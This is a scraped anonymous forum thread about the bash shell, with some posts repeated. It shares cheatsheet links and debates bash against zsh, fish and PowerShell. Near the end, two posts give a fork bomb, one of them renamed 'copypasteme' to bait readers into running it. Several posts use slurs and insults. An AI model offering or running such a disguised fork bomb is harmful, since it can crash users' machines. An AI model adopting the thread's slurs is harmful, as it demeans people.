Great cheatsheet, just saved it as pdf and txt. I mostly use pic rel and:
https://www.gnu.org/software/bash/manual/
plus the usual (help, info, man, etc.)
and also:
https://developers.redhat.com/cheat-sheets/bash-shell-cheat-sheet
and other cheatsheets from redhat but apparently they now ask for an account before you can download them.
learnxinminyminutes also has a repo you can clone for easy hoarding in case you lose access to the internet but still want to get a tldr on a new language:
https://github.com/adambard/learnxinyminutes-docs
2 months ago
Anonymous
Further reading at the bottom is bonus. Thank you.
useful article on Greg's Wiki:
https://mywiki.wooledge.org/BashPitfalls
These I should learn first, methinks. Thank you, also.
Yeah you really can learn something new and useful every day with bash. You'll never run out of cool tricks, special cases, and zany unexpected behaviour, because it's an absolute clusterfrick.
Is objectively a slow poorly designed mess (ANSI escaped characters shouldn't be a default behavior i.e.) would rather go plain POSIX if i had to bother. There're plenty of alternatives the industry should've moved to, but they wasted time trying to make Python work as a system land instead. Bash arrays are still nice for small tasks on the go.
Pretty clunky for a scripting language.
Probably lua would make a better shell language base, and hush is just proof of that. Only real drawback is the OOP bullshit but OOP is actually fine if you already don't want to think at all about program internals, say in a script or something.
I have written a critical backend in an asynchronous bash script that starts background processes, stores the background pids in a bash array with $! then waits for them to complete then loops again. Also this system is using a bunch of named pipes and shell redirection as a synchronization primitive to launch new background worker jobs. It's also making heavy use of associative arrays and for more complex data structures I have some deserialization functions using jq and shell substitution. Finally I'm using traps as a primitive form of exception handling. It's dead slow but it's extremely stable and surprisingly bug free, feature complete and with zero maintenance now, it hasn't crashed once, so no one has rewritten it in a better language.
Bash is surprisingly ok if you make sure to delegate the most important data transformations to capable tools like sqlite, jq or a non ancient version of AWK.
>Long lived bash process
Why? Last time I did that, as a meme, I found it would randomly fail and if you read the bash bug tracker, there are sporadic reports similar to what I've seen. Maybe over a decade, they cleaned it up enough, but I would be wary of any long lived bash process.
Most zsh users are macgays because bash going GPLv3 made Apple seethe and zsh is, unfortunately, cuck licensed.
I still use zsh basically everywhere myself and I don't own any Apple gayware.
2 months ago
Anonymous
Don't care, I always
brew install bash
Zsh is shit, to me it feels clunky and distracting compared to the beautiful minimalism of my bash setup.
it's like powershell, but worse
>power snail™
Snappier than powershell
It is fun. Learning something new every day.
https://github.com/dylanaraps/pure-bash-bible
https://github.com/dylanaraps/pure-sh-bible
cool stuff, thanks
You are welcome. Have some more.
https://devhints.io/bash
Great cheatsheet, just saved it as pdf and txt. I mostly use pic rel and:
https://www.gnu.org/software/bash/manual/
plus the usual (help, info, man, etc.)
and also:
https://developers.redhat.com/cheat-sheets/bash-shell-cheat-sheet
and other cheatsheets from redhat but apparently they now ask for an account before you can download them.
learnxinminyminutes also has a repo you can clone for easy hoarding in case you lose access to the internet but still want to get a tldr on a new language:
https://github.com/adambard/learnxinyminutes-docs
Further reading at the bottom is bonus. Thank you.
These I should learn first, methinks. Thank you, also.
useful article on Greg's Wiki:
https://mywiki.wooledge.org/BashPitfalls
Get a fricking job
Move out of your parents basement
I have a job which means I don't have time to waste learning useless bash "tricks" shite
You don't have time because you're stupid and your job sucks, loser.
You're poor.
neat, I love this type of shit
Yeah you really can learn something new and useful every day with bash. You'll never run out of cool tricks, special cases, and zany unexpected behaviour, because it's an absolute clusterfrick.
sucks ass
posix complaint shells FTW
Oooh, good info.
cringe
For non-complex scripts it's great. But I prefer zsh as the interactive shell.
is not good enough to avoid confusing new users
Some anon said the other day that IQfy HATES bash, so I guess I hate it, too.
Is objectively a slow poorly designed mess (ANSI escaped characters shouldn't be a default behavior i.e.) would rather go plain POSIX if i had to bother. There're plenty of alternatives the industry should've moved to, but they wasted time trying to make Python work as a system land instead. Bash arrays are still nice for small tasks on the go.
>Bash arrays are still nice for small tasks on the go.
No they're not
As nice as you can make them work on Bash, at least
it works and it's the most prevalent shell scripting lang. That makes me like it
it's okay, but kind of overcomplicated. plan 9's rc is better
it's absolute shit.
It's actually a good language to get stuff done but a b***h to learn because it is so unintuitive with random syntax. Good for Stackoverflow coding.
Pretty clunky for a scripting language.
Probably lua would make a better shell language base, and hush is just proof of that. Only real drawback is the OOP bullshit but OOP is actually fine if you already don't want to think at all about program internals, say in a script or something.
deprecated by perl
I have written a critical backend in an asynchronous bash script that starts background processes, stores the background pids in a bash array with $! then waits for them to complete then loops again. Also this system is using a bunch of named pipes and shell redirection as a synchronization primitive to launch new background worker jobs. It's also making heavy use of associative arrays and for more complex data structures I have some deserialization functions using jq and shell substitution. Finally I'm using traps as a primitive form of exception handling. It's dead slow but it's extremely stable and surprisingly bug free, feature complete and with zero maintenance now, it hasn't crashed once, so no one has rewritten it in a better language.
Bash is surprisingly ok if you make sure to delegate the most important data transformations to capable tools like sqlite, jq or a non ancient version of AWK.
Well, yeah, it's just for file movement
>Long lived bash process
Why? Last time I did that, as a meme, I found it would randomly fail and if you read the bash bug tracker, there are sporadic reports similar to what I've seen. Maybe over a decade, they cleaned it up enough, but I would be wary of any long lived bash process.
Reading the manual is a great exercise for newbs. I wish I read it sooner!
zsh for boomers
Get OUT mactard
how did you know?
Most zsh users are macgays because bash going GPLv3 made Apple seethe and zsh is, unfortunately, cuck licensed.
I still use zsh basically everywhere myself and I don't own any Apple gayware.
Don't care, I always
brew install bash
Zsh is shit, to me it feels clunky and distracting compared to the beautiful minimalism of my bash setup.
But that history search tho
What's so good about it?
t. never used Zsh
Changed my life
Fish is better
Zsh is better
Powershell (pwsh NOT POWERSHELL.EXE) is better
it's alright
:(){ :|:&};:
>brew install bash
copypasteme() {
copypasteme | copypasteme &
}
copypasteme